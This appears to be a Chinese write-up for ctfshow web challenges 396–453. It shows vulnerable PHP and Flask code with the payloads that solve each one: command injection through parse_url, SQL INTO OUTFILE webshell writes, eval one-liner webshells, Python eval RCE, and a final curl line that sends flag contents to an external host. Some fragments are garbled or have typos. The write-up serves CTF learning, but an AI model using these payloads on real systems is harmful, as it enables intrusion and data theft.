web396

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 17:20:22
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);

}else{
highlight_file(__FILE__);
}

parse_url 的解释

image-20230330211747698

然后这样的话host为空,就只有path了

payload

1
2
url=http://1/1;echo `ls`>a.txt
url=http://1/1;echo `cat fl0g.php`>a.txt

这里的;换成||也行

web397

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 17:49:13
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);

}else{
highlight_file(__FILE__);
}

还是不影响

payload

1
2
url=http://1/1;echo `ls`>a.txt
url=http://1/1;echo `cat fl0g.php`>a.txt

web398-401

一模一样的payload

payload

1
2
url=http://1/1;echo `ls`>a.txt
url=http://1/1;echo `cat fl0g.php`>a.txt

因为它的正则匹配都是匹配host,然而我们的payload用的不是关于host的,用的是path的,所以说host一直为空,所以这个正则就一直绕过去了

web402

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:35:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


#error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
if(preg_match('/http|https/i', $url['scheme'])){
die('error');
}
if(!preg_match('/;|>|\||base/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}

}else{
highlight_file(__FILE__);
}

这里的话新增加了一个

1
2
3
if(preg_match('/http|https/i', $url['scheme'])){
die('error');
}

就是必须得满足这个玩意

然后scheme会匹配文件头http,所以就不能用了,那么我们就用另一个

payload

1
url=file://1/1;echo `cat fl0g.php`>a.txt

web403

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:44:06
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}

}else{
highlight_file(__FILE__);
}

新增加的正则是对ip的判断,要满足才能进行命令执行

payload

1
url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt

web404

题目

web405

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 19:20:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
if(preg_match('/\~|\.|php/', $url['scheme'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}

}
}

}else{
highlight_file(__FILE__);
echo 'parse_url 好强大';
}
parse_url 好强大

这里的话要满足host path scheme 三个条件

payload

1
url=httphp://127.0.0.1111;echo `cat f*`>1.txt;11/a

这里是scheme://host/path

记住这个格式就好

image-20230330224805520

所以就能绕过

web406

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-16 14:58:50
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-16 16:00:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
$sql = "select * from links where url ='{$url}'";
$result = $conn->query($sql);
}else{
echo '不通过';
}

Notice: Undefined index: url in /var/www/html/index.php on line 17
不通过

filter_var()绕过

这里是添加了sql语句来的,与上面给的文章说的内容不同,给的文章是利用JavaScript绕过

payload

1
2
3
4
5
6
7
8
9
10
11
<?php 
require 'config.php';
$sql ='select flag from flag into outfile "/var/www/html/1.txt"';
$result = $conn->query($sql);
var_dump($result);
?>
转为16进制
http://a53d40ee-9871-49a0-8f4a-5463bc97e052.chall.ctf.show/?url=0://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e/**/into/**/outfile/**/"/var/www/html/4.php"%23

访问1.txt即可
转化为16进制绕过filter检测

这里就是先把当

image-20230331155504698

就会执行sql语句,然后把payload写到4.php上,然后访问4.php就会执行payload写的语句,然后访问1.txt就行了

web407

题目

1
2
3
<?php

?>"@123.php

绕过的原因是非法字符可以放在双引号里面绕过检测

这里用短标签的意思是因为,不能有空格,因为有个双引号然后浏览器会把空格转义为%20,然后因为双引号包含,最后导致写不进文件

web409

题目

1
2
3
4
5
<?php

?>"@123.com
然后post数据
1=cat /flag

会把”flag给替换成空,然后就会执行eval(system($_POST[1]);?>)

这里执行虽然会报错,但是还是能执行的

web410

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 13:12:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}

参考文章

payload

1
b=yes

web411

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 13:12:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}

payload

1
b=yes

web412

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 16:19:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

$ctfshow=$_POST['ctfshow'];

if(isset($ctfshow)){
file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
include('flag.php');
}


Notice: Undefined index: ctfshow in /var/www/html/index.php on line 16

payload

1
ctfshow=?><?php eval($_POST[1])?>;&1=system(‘cat flag.php’);

因为就是题目的代码都是只有<?php 而没有结尾,所以我们就可以通过写

?>给前面代码给包含了,然后就绕过注释了,然后后面在自己加一句话木马进去到flag.php里就行了

image-20230331171044704

image-20230331171032907

这就是为什么不会覆盖掉原有的flag的原因

web413

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 16:19:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

$ctfshow=$_POST['ctfshow'];

if(isset($ctfshow)){
file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
include('flag.php');
}


Notice: Undefined index: ctfshow in /var/www/html/index.php on line 16

原理差不多,就是绕过过滤,就是包含注释就行

payload

1
*/?><?php eval($_POST[1]);/*

web414

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 16:43:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include('flag.php');
$ctfshow=$_GET['ctfshow'];

if($ctfshow==true){
if(sqrt($ctfshow)>=sqrt(intval($flag))){
echo 'FLAG_NOT_HERE';
}else{
echo $flag;
}
}

Notice: Undefined index: ctfshow in /var/www/html/index.php on line 16

这里的sqrt是计算平方根的意思

布尔值true和任意字符串都弱相等

intval($flag) ——-> 0

所以随便传个负值就行了

web415

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 19:15:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);

$k = $_GET[k];

function getflag(){
echo file_get_contents('flag.php');
}

if($k=='getflag'){
die('FLAG_NOT_HERE');
}else{
call_user_func($k);
}

== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。

若一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串(例如”aaa”是不能转换为数字的字符串,而”123”或”123aa”就是可以转换为数字的字符串)或null,则转换为0

函数名、方法名、类名 不区分大小写

payload

1
?k=Getflag

web416

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 19:54:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);

class ctf{
public function getflag(){
return 'fake flag';
}
final public function flag(){
echo file_get_contents('flag.php');
}
}

class show extends ctf{
public function __construct($f){
call_user_func($f);
}
}

echo new show($_GET[f]);

image-20230331222734499

payload

1
f=cft::flag

web417

题目

这里下载下来题目给的php代码,然后解码得到

1
2
3
4
5
6
7
8
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}
?>

payload

1
ctf=show

web418

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-26 23:52:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);

//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);


extract($_POST);
if($key===0x36d){
//帮黑阔写好后门
eval('<?php '.$ctfshow.'?>');
}else{
$die?die('FLAG_NOT_HERE'):clear($clear);
}

=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。

这里有点误导让你,去写后门,但是$key===0x36d这个是强等于,0x36d 这个是integer整形,但是传的字符串却是字符型,绕不过去,所以这题用变量覆盖修改$clear就可以了,

extract ——-> 变量覆盖

image-20230401161846730

payload

1
die=0&clear=;cp flag.php flag.txt

payload的意思是,因为if那绕不过去了,所以会执行下面的语句,然后为了能执行clear($clear),所以就让$die为0,然后就可以执行到clear了

这里加的分号是为了不让rm -rf删掉文件

然后就会执行clear(rm -rf;cp flag.php flag.txt)

web419

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:36:24
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 17){
eval($code);
}

payload

1
code=echo `cat f*`;

payload2

1
code=eval($_POST[1]);&1=system('cat flag.php');

web420

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:41:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 8){
system($code);
}

这里的话是先用 ls 查找flag位置,然后用ls ../找到了flag位置,然后直接读取

payload

1
nl ../*

web421

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:42:50
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 6){
system($code);
}

payload

1
nl *

web422

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-25 23:07:21
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-29 01:42:50
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 5){
system($code);
}

payload

1
nl *

web423

题目

web424(ssti)

题目

image-20230405212426830

查看注释发现给了一个参数可以进行传值

image-20230405212500712

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

from flask import Flask
from flask import request


app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)


这里因为没有os模块了,那么直接就用open来拿到flag

payload

1
open('/flag).read()

自己导入有个os模块也行

1
__import__('os').popen('cat app.py').read()

web425(过滤了os)

题目

image-20230405213333700

还是一样

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
from flask import request


app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
if 'os' not in code:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

image-20230405213451936

使用这个open的前提是得知道文件名 这个不能使用通配符

web426(过滤了os|popen)

题目

image-20230405213734721

还是不影响

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

payload

1
?code=open('/flag').read()

web427(过滤了os|popen|system)

题目

image-20230405213949469

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen|system')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

payload

1
open('/flag').read()

web428(过滤os|popen|system|read)

题目

image-20230405214151770

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|popen|system|read')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

因为这里是只匹配开头

payload

1
?code=open('/flag').read()

web429(ssti 过滤了os|open|system|read)

题目image-20230405214409832

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read')
if reg.match(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

这里匹配是只匹配了开头,所以只需要在payload前面加个空格就好了

payload

1
?code= open('app.py').read()

web430(ssti 过滤了os|open|system|read|eval)

同 web429的做法

也是只匹配开头

web 431 ssti 过滤了过滤了os|open|system|read|eval|str

同web430

后面就是正常的过滤了,因为过滤了eval所以我们只能用exec来执行了.但是exec的返回值永远是none,所以只能用一些盲打的方法了。

web432(过滤os|open|system|read|eval)-web449都是ssti的题目

这里就不做了

web450

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-03 22:57:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-04 14:28:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];


if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
eval("($ctfshow)();");
}


Notice: Undefined index: ctfshow in /var/www/html/index.php on line 15

payload

1
phpinfo^phpinfo^phpinfo

这里就是p和p异或,依次来异或

异或 ——-> 相同为零 不同为1

p^p^p来举个例子 先是 p^p —-> 0 然后 0^p ———-> p

就是这样了

web451

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-03 22:57:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-04 15:38:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];


if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
if(!preg_match('/phpinfo/', $ctfshow)){
eval("($ctfshow)();");
}
}


Notice: Undefined index: ctfshow in /var/www/html/index.php on line 15

payload

1
phpanfo^phpznfo^phprnfo

这里的异或是转化为ascii码来进行计算的

web452

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-03 22:57:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-04 16:05:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];


if(!preg_match('/\'|\"|[0-9]|\{|\[|\~|\^|phpinfo|\$/i', $ctfshow)){
eval($ctfshow);
}

Notice: Undefined index: ctfshow in /var/www/html/index.php on line 15

payload

1
ctfshow=echo `cat /f*`;

web453

题目

image-20230405221320480

先去读取一下源码

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-04 22:43:04
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-05 02:03:03
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$http = new Swoole\Http\Server('0.0.0.0', 80);

$http->on('start', function ($server) {
echo "Swoole http server is started at http://0.0.0.0:80\n";
});

$http->on('request', function ($request, $response) {
list($controller, $action) = explode('/', trim($request->server['request_uri'], '/'));
$route = array('ctf');
$method = array('show','file','exec');
if(in_array($controller, $route) && in_array($action, $method)){
(new $controller)->$action($request, $response);
}else{
$response->end('<h3>where is flag?</h3><!--/ctf/show?s=XXX file_get_contents($_POST[\'s\'])-->');
}

});
$http->start();

class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function exec($request,$response){
system('php shell.php');
$response->end('command exec done');
}
}

也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php。
里面的内容大家就可以随意发挥了。
我写的是

1
<?php system('curl http://xxx.xxx.xxx:4567?p=`cat f*`');?>

剩下的题就不做了

去看yu师傅和Y4师傅的博客就好了

Y4wp yu2xxwp